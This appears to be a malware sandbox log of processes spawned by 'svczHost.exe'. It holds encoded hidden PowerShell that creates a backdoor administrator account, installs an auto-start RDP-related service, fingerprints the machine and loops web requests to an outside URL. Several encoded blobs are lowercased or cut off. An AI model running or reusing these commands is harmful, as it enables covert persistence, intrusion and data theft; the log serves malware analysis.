AFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaeuaoabbafiaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcafeaqqbgae0aqqbnaeeaqqaxaeearwawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearwa0aeeavgbbaeiargbbaecanabbagqaqqbbahaaqqbdagsaqqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaeuaoabbafiaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcafeaqqbgae0aqqbnaeeaqqaxaeearwawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearwa0aeeavgbbaeiargbbaecanabbagqaqqbbahaaqqbdagsaqqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgadaauaeuabgbjae8arabpag4arwbdadoaogbvafqarga4ac4arwblafqauwb0afiasqboagcakaaoaekadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbqafmamaa1ag0aigapackakqapac4aqwbpag4avabfag4adaapacka
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa0adqamgbkadyazaayagiaygbiagyaoqa1ageamabjadiazaa5adgamwazaduaywa3agmazgaxadiazaa5agqanabhadiamqa2admaygbmagqamwazagyanaayaduanaa3agqaoabladiamqa3adyamwa0adkazgbjaduaygblagmaoqa5adkazabmadcanwblagqangbmagmamqawagmazaayagiaoabmadeaygbmadyazqaxadqamqa5ageazgbkadeayga4aguanga1adiazaa2adaaoaayadaayqa1adyazga1agqaoaa3adiayga5adgamwayagqanqa4agmazgbladyanqazadqaoabiagqayga2adeangbkagiamgazaguanaazagyanwa5adcamgbkageazgazadkamqbmadeamwbiagqangbhadyaoqbjadgaoqaxadkamaayadgamaa3ageayqbkadqamgazadyamga3adgamqaxagmaoabladaazaa0ageayqa3aguazqa5admaoqbkadcanaa1adiamaaxaguazqbkadgamaa2aguazqa5adcaoqbmageaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa0adqamgbkadyazaayagiaygbiagyaoqa1ageamabjadiazaa5adgamwazaduaywa3agmazgaxadiazaa5agqanabhadiamqa2admaygbmagqamwazagyanaayaduanaa3agqaoabladiamqa3adyamwa0adkazgbjaduaygblagmaoqa5adkazabmadcanwblagqangbmagmamqawagmazaayagiaoabmadeaygbmadyazqaxadqamqa5ageazgbkadeayga4aguanga1adiazaa2adaaoaayadaayqa1adyazga1agqaoaa3adiayga5adgamwayagqanqa4agmazgbladyanqazadqaoabiagqayga2adeangbkagiamgazaguanaazagyanwa5adcamgbkageazgazadkamqbmadeamwbiagqangbhadyaoqbjadgaoqaxadkamaayadgamaa3ageayqbkadqamgazadyamga3adgamqaxagmaoabladaazaa0ageayqa3aguazqa5admaoqbkadcanaa1adiamaaxaguazqbkadgamaa2aguazqa5adcaoqbmageaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
